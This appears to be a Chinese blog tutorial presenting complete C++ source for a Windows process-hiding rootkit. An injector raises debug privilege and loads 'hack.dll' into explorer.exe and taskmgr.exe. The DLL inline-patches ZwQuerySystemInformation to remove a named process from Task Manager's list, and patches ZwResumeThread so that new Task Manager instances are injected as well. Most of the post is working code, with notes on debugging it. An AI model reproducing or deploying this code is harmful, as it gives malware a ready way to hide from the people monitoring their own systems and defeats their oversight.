因为上篇进程隐藏存在这一些缺陷,比如只能对当前打开的任务管理器隐藏,关闭任务管理器重开就无法隐藏了,原因很简单,因为重开的任务管理器并没有被我们Hook,自然无效
Notes:
1.新版进程隐藏致力于解决这个问题
HideProc负责将Dll注入explorer.exe 和已经运行的 taskmgr.exe
DLL加入自动识别模块,如果自身被注入到taskmgr.exe则Hook ZwQuerySystemInformation,如果自身被注入到explorer.exe则Hook ZwResumeThread,再比较当前创建的新进程是否为需要隐藏的进程,如果是则注入DLL,Hook新进程的工作自动交由新注入的dll完成,自身等待下一个新进程的创建
2.由于ZwResumeThread函数的第一个参数是线程句柄所以一开始使用GetProcessIdOfThread函数通过线程句柄获取其所属的进程PID然后再进行后续工作,结果测试各种出错,DLLMAIN函数都没法运行,调试后发现XP下这个API不能用……………不能用就算了,,,结果编译也没报错,所以只能查资料看看有没有什么替代方法,然后重写了这个功能的函数叫GetProcessIdFromThread
3.函数中的prepid很重要,解决上面2的问题之后打开taskmgr会各种报错,OD附加调试了半天发现,创建taskmgr进程的同时会创建大量的线程,而我们Hook的是ZwResumeThread,使得线程恢复运行的函数,所以会将DLL重复多次注入到taskmgr引起错误,所以加入一个prepid记录上次注入的线程对应进程的pid,如果相同就不注入了,成功解决了这个问题
5.函数灵活化,统一编写Hook和UNHook函数,流程更清晰。
6.程序整体灵活化,想隐藏什么进程,想对谁隐藏只要修改字符串数组即可
代码:
HideProc.cpp:
#include "windows.h"
#include "Tlhelp32.h"
#include <iostream>
using namespace std;
LPCTSTR Dll_Path=L"d:hack.dll";
WCHAR Inject_name[2][100]={L"taskmgr.exe",L"explorer.exe"};
int inject_num=2;
BOOL Whether_Inject(const WCHAR *processname){
for(int i=0;i<inject_num;i++){
WCHAR *s=Inject_name[i];
while(*processname==*s && *processname!='\0' && *s!='\0'){
processname++;
s++;
}
if (*processname == '\0' && *s == '\0') return true;
}
return false;
}
void InjectDll(DWORD pid=0){
if(pid==0) return;
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(!hProcess){
cout<<"OpenProcess failed,error code: "<<GetLastError()<<endl;
return;
}
LPVOID pRemoteBuf=NULL;
DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
LPTHREAD_START_ROUTINE pThreadProc;
HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
CloseHandle(hProcess);
hProcess=NULL;
}
BOOL EnableDebugPrivilege(){
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ //Get Token
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))//Get Luid
cout<<"Can't lookup privilege value"<<endl;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;//这一句很关键,修改其属性为SE_PRIVILEGE_ENABLED
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))//Adjust Token
cout<<"Can't adjust privilege value"<<endl;
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
hToken=NULL;
}
return fOk;
}
int main(){
BOOL isPrivilege=false;
isPrivilege=EnableDebugPrivilege();//提权
if(!isPrivilege){
cout<<"EnableDebugPrivilege failed"<<endl;
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize=sizeof(pe);
BOOL code=false;
HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
if(INVALID_HANDLE_VALUE!=hSnapShot){
BOOL bprocess=Process32First(hSnapShot,&pe);
while(bprocess){
code=Whether_Inject(pe.szExeFile);
if(code){
InjectDll(pe.th32ProcessID);
}
bprocess=Process32Next(hSnapShot,&pe);
}
}
CloseHandle(hSnapShot);
hSnapShot=NULL;
system("pause");
return 0;
}
Hide.h:
#include "windows.h"
#include "Tlhelp32.h"
//*****************************************************↓↓↓结构体定义↓↓↓************************************************************
typedef LONG NTSTATUS;
typedef struct _CLIENT_ID { //CLIENT_ID结构体定义
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
typedef struct _LSA_UNICODE_STRING { //UNICODE_STRING结构体定义
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING;
typedef struct _SYSTEM_PROCESS_INFORMATION { //进程信息结构体定义
ULONG NextEntryOffset; //下一个结构的偏移
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ProcessName; //进程名字
ULONG BasePriority;
HANDLE UniqueProcessId; //进程Pid
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION,*PSYSTEM_PROCESS_INFORMATION;
typedef struct _THREAD_BASIC_INFORMATION { //线程信息结构体定义
NTSTATUS ExitStatus;
PVOID TebBaseAddress;
CLIENT_ID ClientId;
ULONG AffinityMask;
LONG Priority;
LONG BasePriority;
} THREAD_BASIC_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION) //ZwQuerySystemInformation函数原型定义
(ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef NTSTATUS (WINAPI *PFZWRESUMETHREAD) //ZwResumeThread函数原型定义
(HANDLE ThreadHandle,
PULONG SuspendCount);
typedef NTSTATUS (WINAPI *ZWQUERYINFORMATIONTHREAD) //ZwQueryInformationThread函数原型定义
(HANDLE ThreadHandle,
ULONG ThreadInformationClass,
PVOID ThreadInformation,
ULONG ThreadInformationLength,
PULONG ReturnLength);
//*****************************************************↓↓↓函数原型申明↓↓↓************************************************************
//实现Hook的函数: (要钩取的函数所在的DLL名称,要钩取的函数名称,自定义函数的函数地址,保存原函数前5字节信息的byte)
BOOL hook(LPCSTR DllName,LPCSTR FuncName,PROC Func_New,PBYTE origin_byte);
//实现unHook的函数:(要取消钩取的函数所在的DLL名称,要取消钩取的函数名称,保存原函数前5字节信息的byte)
BOOL unhook(LPCSTR DllName,LPCSTR FuncName,PBYTE origin_byte);
//自定义的 ZwQuerySystemInformation
NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
//自定义的 ZwResumeThread
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle,PULONG SuspendCount);
//权限提升
BOOL EnableDebugPrivilege();
//Dll注入函数
void InjectDll(DWORD pid);
//判断是否为目标
BOOL Whether_Hide_Goal(const WCHAR *processname);
//通过线程ID找到其进程ID
DWORD GetProcessIdFromThread(HANDLE ThreadHandle); //GetProcessIdOfThread 超级坑,xp下没有这个API但是编译不会报错....
Hide.cpp
#include "Hide.h"
#define SystemProcessInformation 5
#define STATUS_SUCCESS (0x00000000L)
//*****************************************************↓↓↓常量定义↓↓↓************************************************************
BYTE ZwQuerySystemInformation_origin_byte[5] = {0,};
BYTE ZwResumeThread_origin_byte[5] = {0,};
LPCTSTR Dll_Path=L"d:hack.dll";
PWSTR Hide_Process=L"notepad.exe";
WCHAR Goal_Name[1][100]={L"taskmgr"};
WCHAR filename[MAX_PATH];
static DWORD prepid=0;
//*****************************************************↓↓↓函数实现↓↓↓************************************************************
BOOL Whether_Hide_Goal(const WCHAR *processname){
const WCHAR *ori=processname;
for(int i=0;i<1;i++){
processname=ori;
while(*processname!='\0'){
WCHAR *s=Goal_Name[i];
while(*processname!=*s && *processname!=(*s)-32 && *processname!='\0'){
processname++;
}
while(*processname!='\0' && (*processname==*s || *processname==(*s)-32)){
processname++;
s++;
}
if(*s=='\0'){
return true;
}
}
}
return false;
}
void InjectDll(DWORD pid=0){
if(pid==0) return;
EnableDebugPrivilege(); //权限提升
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(!hProcess) return;
LPVOID pRemoteBuf=NULL;
DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
LPTHREAD_START_ROUTINE pThreadProc;
HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
CloseHandle(hProcess);
hProcess=NULL;
}
BOOL EnableDebugPrivilege(){
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
hToken=NULL;
}
return fOk;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL,filename,MAX_PATH);
if(Whether_Hide_Goal(filename)){ //如果是我们想对其隐藏的进程则对ZwQuerySystemInformation挂钩
hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);
}else{ //否则一定是explorer则对ZwResumeThread挂钩
hook("ntdll.dll","ZwResumeThread",(PROC)NewZwResumeThread,ZwResumeThread_origin_byte);
}
break;
case DLL_PROCESS_DETACH:
unhook("ntdll.dll","ZwQuerySystemInformation",ZwQuerySystemInformation_origin_byte);
unhook("ntdll.dll","ZwResumeThread",ZwResumeThread_origin_byte);
break;
}
return TRUE;
}
BOOL hook(LPCSTR DllName,LPCSTR FuncName,PROC Func_New,PBYTE origin_byte){
FARPROC p_ori_func;
PBYTE pbyte;
DWORD oldprotect,address;
byte newbuf[5]={0xE9,0,};
p_ori_func=(FARPROC)GetProcAddress(GetModuleHandleA(DllName),FuncName); //获取原函数地址
pbyte=(PBYTE)p_ori_func;
if(pbyte[0]==0xE9) return false;
VirtualProtect((LPVOID)p_ori_func,5,PAGE_EXECUTE_READWRITE,&oldprotect); //修改5字节属性为可写
memcpy(origin_byte,p_ori_func,5); //保存原函数前5字节指令
address=(DWORD)Func_New-(DWORD)p_ori_func-5; //计算跳转到NewZwQuerySystemInformation函数需要的jmp地址
memcpy(&newbuf[1],&address,4); //将计算出的地址写入newbuf
memcpy(p_ori_func,newbuf,5); //原函数处写入jmp xxx实现Hook
VirtualProtect((LPVOID)p_ori_func, 5, oldprotect, &oldprotect); //恢复刚刚调整过的属性
return true;
}
BOOL unhook(LPCSTR DllName,LPCSTR FuncName,PBYTE origin_byte){
FARPROC pfunc;
PBYTE pbyte;
DWORD oldprotect;
pfunc=(FARPROC)GetProcAddress(GetModuleHandleA(DllName),FuncName); //获取原函数地址
pbyte=(PBYTE)pfunc;
if(pbyte[0]!=0xE9) return false;
VirtualProtect((LPVOID)pfunc,5,PAGE_EXECUTE_READWRITE,&oldprotect); //修改5字节属性为可写
memcpy(pfunc,origin_byte,5); //原函数前5字节恢复
VirtualProtect((LPVOID)pfunc,5,oldprotect,&oldprotect); //恢复刚刚调整过的属性
return true;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pfunc;
PSYSTEM_PROCESS_INFORMATION pcur,pprev;
unhook("ntdll.dll","ZwQuerySystemInformation",ZwQuerySystemInformation_origin_byte); //解除Hook ZwQuerySystemInformation 防止无限循环
pfunc=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwQuerySystemInformation"); //动态获取原函数地址
status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //按照原始参数顺序调用原函数
if(status != STATUS_SUCCESS ){ //判断调用是否成功不可以的话就断Hook 返回错误status
hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);
return status;
}
if( SystemInformationClass == SystemProcessInformation ){ //只有SystemInformationClass=5(查询进程列表)是才进行应用隐藏操作
pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //当前指针指向返回的SystemInformation结构体
while(TRUE){
if(pcur->ProcessName.Buffer){ //此结构体ProcessName成员的Buffer成员存在则进入
if(!wcscmp(pcur->ProcessName.Buffer,Hide_Process)){ //比较此结构体进程名是否为需要隐藏的进程名,是则进行链表下链操作
if(pcur->NextEntryOffset == 0)
pprev->NextEntryOffset = 0;
else
pprev->NextEntryOffset += pcur->NextEntryOffset;
}
else
pprev = pcur; //非需要隐藏的进程则当前指针和前向指针分别后移一个
}
if(pcur->NextEntryOffset == 0) //没有下一个了就退出
break;
pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);
}
}
hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte); //处理完成,再次Hook
return status; //返回status
}
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle,PULONG SuspendCount){
DWORD pid=GetProcessIdFromThread(ThreadHandle); //获取新线程的进程PID
if(pid!=GetCurrentProcessId() && pid!=prepid){
PROCESSENTRY32 pe;
pe.dwSize=sizeof(pe);
HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
if(INVALID_HANDLE_VALUE!=hSnapShot){
BOOL bprocess=Process32First(hSnapShot,&pe);
while(bprocess){
if(pe.th32ProcessID==pid && Whether_Hide_Goal(pe.szExeFile)){ //遍历进程列表如果新创建的进程的名字是要隐藏的目标的话就InjectDll
prepid=pid;
InjectDll(pid); //DLL注入
break;
}
bprocess=Process32Next(hSnapShot,&pe);
}
}
CloseHandle(hSnapShot);
hSnapShot=NULL;
}
unhook("ntdll.dll","ZwResumeThread",ZwResumeThread_origin_byte); //防止死循环
FARPROC pfn=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwResumeThread"); //动态获取原函数地址
NTSTATUS status=((PFZWRESUMETHREAD)pfn)(ThreadHandle,SuspendCount);
hook("ntdll.dll","ZwResumeThread",(PROC)NewZwResumeThread,ZwResumeThread_origin_byte); //再次Hook住
return status;
}
DWORD GetProcessIdFromThread(HANDLE ThreadHandle){
THREAD_BASIC_INFORMATION tbi;
FARPROC pfn=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwQueryInformationThread");
NTSTATUS status=((ZWQUERYINFORMATIONTHREAD)pfn)(ThreadHandle,0,&tbi,sizeof(tbi),NULL);
return (DWORD)tbi.ClientId.UniqueProcess;
}